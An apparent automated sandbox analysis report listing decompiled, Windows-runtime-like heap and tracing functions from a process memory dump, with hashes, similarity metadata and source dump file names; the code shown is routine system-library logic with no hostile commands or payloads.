Instruction ID: b24083663a329b72e763034266daafad6572b4681e308034c0351f0f6eb947d1
Opcode Fuzzy Hash: 662ed81043b466d68e4d3d071339403e75bbe760093195f03237aaf31196044d
Instruction Fuzzy Hash: 12F0E2369296C5CFD760C71CC2A0B02F7EAAF047B4F414765D44687925C724EC40CA41

Uniqueness

Uniqueness Score: -1.00%

Function 1E3B746D, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E1E3B746D(short* __ebx, void* __ecx, void* __edi, intOrPtr __esi) {
				signed int _t8;
				void* _t10;
				short* _t17;
				void* _t19;
				intOrPtr _t20;
				void* _t21;

				_t20 = __esi;
				_t19 = __edi;
				_t17 = __ebx;
				if( *((char*)(_t21 - 0x25)) != 0) {
					if(__ecx == 0) {
						E1E3AEB70(__ecx, 0x1e4879a0);
					} else {
						asm("lock xadd [ecx], eax");
						if((_t8 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(__ecx + 4)));
							E1E3D95D0();
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t21 - 0x50)));
							_t17 =  *((intOrPtr*)(_t21 - 0x2c));
							_t20 =  *((intOrPtr*)(_t21 - 0x3c));
						}
					}
					L10:
				}
				_t10 = _t19 + _t19;
				if(_t20 >= _t10) {
					if(_t19 != 0) {
						 *_t17 = 0;
						return 0;
					}
				}
				return _t10;
				goto L10;
			}

0x1e3b746d
0x1e3b746d
0x1e3b746d
0x1e3b7471
0x1e3b7488
0x1e3ff92d
0x1e3b748e
0x1e3b7491
0x1e3b7495
0x1e3ff937
0x1e3ff93a
0x1e3ff94e
0x1e3ff953
0x1e3ff956
0x1e3ff956
0x1e3b7495
0x00000000
0x1e3b7488
0x1e3b7473
0x1e3b7478
0x1e3b747d
0x1e3b7481
0x00000000
0x1e3b7481
0x1e3b747d
0x1e3b747a
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14cd63dfcf7d8644db287d613f3eae55c78097eb1c0fd3e8fe5582ab1426ddf0
Instruction ID: a45642ec69b8b62a45b55e6fc890cf1d3140dbd3e0d845d7ada21d4377cb3917
Opcode Fuzzy Hash: 14cd63dfcf7d8644db287d613f3eae55c78097eb1c0fd3e8fe5582ab1426ddf0
Instruction Fuzzy Hash: D5F0E9346141C5EADB038768C850FEA7B77EF04211F080755D852AF950E765D841C795

Uniqueness

Uniqueness Score: -1.00%

Function 1E468CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E1E468CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x1e48d360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E1E3B7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x1e468ce5
0x1e468ced
0x1e468cf0
0x1e468cfb
0x1e468d0d
0x1e468cfd
0x1e468d06
0x1e468d06
0x1e468d18
0x1e468d19
0x1e468d1b
0x1e468d20
0x1e468d33

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbdf4de6e3cd9fa86b76822b78fa2f47b2eb2cbaee5e16f3f64d877526517d87
Instruction ID: b4f9a9be0f4976f13b24c4b740afa9083da55d06dde1c105b7cb9b47a55f35f8
Opcode Fuzzy Hash: bbdf4de6e3cd9fa86b76822b78fa2f47b2eb2cbaee5e16f3f64d877526517d87
Instruction Fuzzy Hash: 37F0E971A042489FDB04CBB8E845D5E77B4EF0C300F500659E401EB380DA34E900C754

Uniqueness

Uniqueness Score: -1.00%

Function 1E468B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E1E468B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x1e48d360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E1E3B7D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E1E3DB640(E1E3D9AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x1e468b67
0x1e468b6f
0x1e468b72
0x1e468b7d
0x1e468b8f
0x1e468b7f
0x1e468b88
0x1e468b88
0x1e468b9a
0x1e468b9b
0x1e468b9d
0x1e468ba2
0x1e468bb5

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2cbc032d575fd4939d565aac71068b3ae23880184ad169e58e006823dfcaa89
Instruction ID: 4ea64c8130f6671293c815f5474d2a56f35057ffc0eeabc8e2234027fa0a122c
Opcode Fuzzy Hash: e2cbc032d575fd4939d565aac71068b3ae23880184ad169e58e006823dfcaa89
Instruction Fuzzy Hash: CEF082B5A14258AFDB04DBB8D906E6EB3B8FF08700F440A59B905DB381EB74E900C794

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CA44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3CA44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x1e487b9c; // 0x0
				_t15 = __ecx;
				_t16 = L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E1E3DFA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x1e3ca44b
0x1e3ca453
0x1e3ca472
0x1e3ca476
0x00000000
0x1e3ca493
0x1e3ca47a
0x1e3ca47f
0x1e3ca486
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52817aa0dff2d1d69aab1604a922a21b627c8d0e7e9a2c48ab881dd8c698e796
Instruction ID: 7516365c45614baba5d948678a0dba4c6eb2cd8ddde22231b776ec98b635e491
Opcode Fuzzy Hash: 52817aa0dff2d1d69aab1604a922a21b627c8d0e7e9a2c48ab881dd8c698e796
Instruction Fuzzy Hash: 82E09272A05421ABD3128E58EC40F5673AEEBD5651F0A4639E505C7210D628ED12C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00565BDE, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.559388060.0000000000562000.00000040.00000001.sdmp, Offset: 00562000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9138afc695e22c6d86be85e49c3b3b61ad39d499152ccfa3f3a9d762ba5f043
Instruction ID: f5cc361b0473bc292fe21202ecc8a76df41343490fadc4a20d7c3e2b2f7372f7
Opcode Fuzzy Hash: c9138afc695e22c6d86be85e49c3b3b61ad39d499152ccfa3f3a9d762ba5f043
Instruction Fuzzy Hash: E7F01C31741B008FEB68DA1CC6E4B59B7A6BF48700F25846AE845CB625F730EC80D611

Uniqueness

Uniqueness Score: -1.00%

Function 1E39F358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E1E39F358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E1E3CF3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L1E3B4620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x1e39f35d
0x1e39f361
0x1e39f367
0x1e39f372
0x1e39f38c
0x1e39f38c
0x1e39f394

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: f79e8989b00ce48f02a454fa4ecd8979a5aafbfe01e345649c1208e607b7f7ee
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 9DE0DF32A40118BBCB219BD99E05FAABBBDDF48B60F010296B904D7150D668EE80D2D0

Uniqueness

Uniqueness Score: -1.00%

Function 1E3AFF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3AFF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x1e3711a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E1E4688F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E1E3B0050(_t14);
				}
			}

0x1e3aff66
0x1e3aff6b
0x00000000
0x1e3aff8f
0x00000000
0x1e3aff8f

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea5ac9fba9046d43ae19e101281bf7d64c686947f666348683604e07e277dc95
Instruction ID: 736ca77b358ac99145e4666a9355182166631ea7c396adcffd2306c7a2689f45
Opcode Fuzzy Hash: ea5ac9fba9046d43ae19e101281bf7d64c686947f666348683604e07e277dc95
Instruction Fuzzy Hash: 61E0DFB5A15284DFD324CB52D0D0F05779EDF82721F1A875EE2088B581C722E8C0C646

Uniqueness

Uniqueness Score: -1.00%

Function 1E44D380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E44D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L1E39E8B0(__ecx, _a4, 0xfff);
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x1e44d38a
0x1e44d39b
0x1e44d3b1
0x00000000
0x1e44d3b6
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 6691e2833e659daace156ee8ab041fb907e445d32f528e5179b4b26db6c6dda9
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 62E0C235384285FBEB224E45CC00F697B56DF40BA0F204532FE485ABA0C775AC92EAD4

Uniqueness

Uniqueness Score: -1.00%

Function 1E4241E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E1E4241E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x1e4708f0);
				_t5 = E1E3ED08C(__ebx, __edi, __esi);
				if( *0x1e4887ec == 0) {
					E1E3AEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x1e4887ec == 0) {
						 *0x1e4887f0 = 0x1e4887ec;
						 *0x1e4887ec = 0x1e4887ec;
						 *0x1e4887e8 = 0x1e4887e4;
						 *0x1e4887e4 = 0x1e4887e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L1E424248();
				}
				return E1E3ED0D1(_t5);
			}

0x1e4241e8
0x1e4241ea
0x1e4241ef
0x1e4241fb
0x1e424206
0x1e42420b
0x1e424216
0x1e42421d
0x1e424222
0x1e42422c
0x1e424231
0x1e424231
0x1e424236
0x1e42423d
0x1e42423d
0x1e424247

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dd625221de3e8d1bb87102861c62b603b9aab20aebed51d338a7a2c5e609f3f
Instruction ID: 3ffa3e6030e78f49e07837f503ac8b6727dba1c18b0540dc05044d3db01459e9
Opcode Fuzzy Hash: 9dd625221de3e8d1bb87102861c62b603b9aab20aebed51d338a7a2c5e609f3f
Instruction Fuzzy Hash: 24F0F878C61691CEE791CBEAB946B48F6B4E748B50FC0466AD18086684C7349480CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CA185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3CA185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x1e4867e4 >= 0xa) {
					if(_t5 < 0x1e486800 || _t5 >= 0x1e486900) {
						return L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E1E3B0010(0x1e4867e0, _t5);
				}
			}

0x1e3ca190
0x1e3ca1a6
0x1e3ca1c2
0x00000000
0x00000000
0x00000000
0x1e3ca192
0x1e3ca192
0x1e3ca19f
0x1e3ca19f

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a65d43bed89b3e9f02eb875edeb9bac6d46e13296b24cd1c19ea4812d71f9eff
Instruction ID: fc3cbe1fc5700284fdd3736437169cc80cf0141dd9cd933b3bcb395327a881a6
Opcode Fuzzy Hash: a65d43bed89b3e9f02eb875edeb9bac6d46e13296b24cd1c19ea4812d71f9eff
Instruction Fuzzy Hash: CDD02E61A310805AE72E23919858F292212A780F10F300FCFF00B0BDA0DEA0DCD2C266

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C16E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3C16E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E1E3C1710(0x1e4867e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L1E3B4620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x1e3c16e8
0x1e3c16ef
0x1e3c16f3
0x1e3c16fe
0x00000000
0x1e3c1700
0x1e3c170d
0x1e3c170d
0x1e3c16f2
0x1e3c16f2
0x1e3c16f2
0x1e3c16f2

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a0c593d2d3a4c6efc3d017f312cce6e63acacf203c9a963f703194031abf040
Instruction ID: 239ffefdf1d3826366c109a7cea7dfb75534cde7b8705415a44fa3ee62a14ee6
Opcode Fuzzy Hash: 6a0c593d2d3a4c6efc3d017f312cce6e63acacf203c9a963f703194031abf040
Instruction Fuzzy Hash: 54D0A73150014052DA1D4B119C14B1422B69B80B81F35075EF50B4B8C1CFB5DCA2F04C

Uniqueness

Uniqueness Score: -1.00%

Function 1E4153CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E4153CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E1E3AEB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x1e4153ca
0x1e4153ce
0x1e4153d9
0x1e4153de
0x1e4153e1
0x1e4153e1
0x1e4153e6
0x1e4153f3
0x00000000
0x1e4153f8
0x1e4153fb

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: ff75a7844616a3a97ec5dc4f7f8adb15944edb8d6cac6eb23bd51d605602ff97
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: CBE08C35A046C49BCF02CB49C660F9EB7F6FB84B00F180505A0095F720C728BC00CB40

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C35A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3C35A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E1E3AEB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x1e3c35a1
0x1e3c35a1
0x1e3c35a5
0x1e3c35ab
0x1e3c35ab
0x1e3c35b5
0x00000000
0x1e3c35c1
0x1e3c35b7

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: e7c7719b8dd95b78797280f256438586c6adc995169a4f64f69988b56e1a7246
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: B2D0A9318121C09EDB01AB10C22875833B7FB0020CF5823E7900207852CB3ACF8AD700

Uniqueness

Uniqueness Score: -1.00%

Function 1E3AAAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3AAAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x1e3aaab6
0x1e3aaabb
0x1e3fa442
0x00000000
0x1e3fa448
0x1e3fa454
0x1e3fa454
0x1e3aaac1
0x1e3aaac1
0x1e3aaac6
0x1e3aaac6

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: d41b996e8fa57967a2d8d26480e4ebded79770735a615b0c3a45fa686ada9f33
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: FDD0E935352A81CFD716CF5DC564B0573A5FB44B44FC506A0E501CB765E62CDD85CA10

Uniqueness

Uniqueness Score: -1.00%

Function 1E41A537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E41A537(intOrPtr _a4, intOrPtr _a8) {

				return L1E3B8E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x1e41a553

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 140dc3da984e643bc08a606b9e88cf7545c21de3e816311728348f31b08fb925
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: B4C01236180288BBCB126E81CC01F06BB2AEB94B60F008410FA080A9608632E970EA84

Uniqueness

Uniqueness Score: -1.00%

Function 1E39DB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E39DB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L1E3B4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x1e39db4d
0x1e39db54
0x1e39db5f
0x1e39db56
0x1e39db56
0x1e39db5c
0x1e39db5c

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 4ea293ea561c77a631017b66379bacaae57417d02f883f57cb52bef962679b34
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 66C08C30290A40AAEB220F20CD02B0036A5BB00B01F8206A06301DA4F0EB7CE801E600

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A76E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3A76E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x1e3a76e4
0x00000000
0x1e3a76f8
0x1e3a76fd

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 87cb36d332ea672813536a3209799c7255be59a2ce9a0a60c1a9369f79d2a08f
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: E9C08C741511C05AEB0B4708CE61B203651EB48708F4A039CAB038E8B1C369B843C308

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C36CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3C36CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L1E3B4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x1e3c36d2
0x1e3c36e8
0x1e3c36d4
0x1e3c36e5
0x1e3c36e5

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: 25046116a2112851c1640780ca6fb8e27e11736050f1d86e52cfe967bd9f6b89
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 13C02B74251480BBD7050F30CD40F107268F700A21F6107947321468F0E62CEC00D104

Uniqueness

Uniqueness Score: -1.00%

Function 1E39AD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E39AD30(intOrPtr _a4) {

				return L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x1e39ad49

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: a6b5ad07ad7a493935cfd12598af67fc04000eef6a4f2f4c6aea58e0567c7b3d
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: 8AC08C32080288BBC7125A45CD01F117B29E790B60F040020B6040AA618A32E861D688

Uniqueness

Uniqueness Score: -1.00%

Function 1E3B3A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1E3B3A1C(intOrPtr _a4) {
				void* _t5;

				return L1E3B4620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x1e3b3a35

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 78eeec3c929493b5e01d70a1aea82d35e29d771eaa3c6c34946223f2f53769ef
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
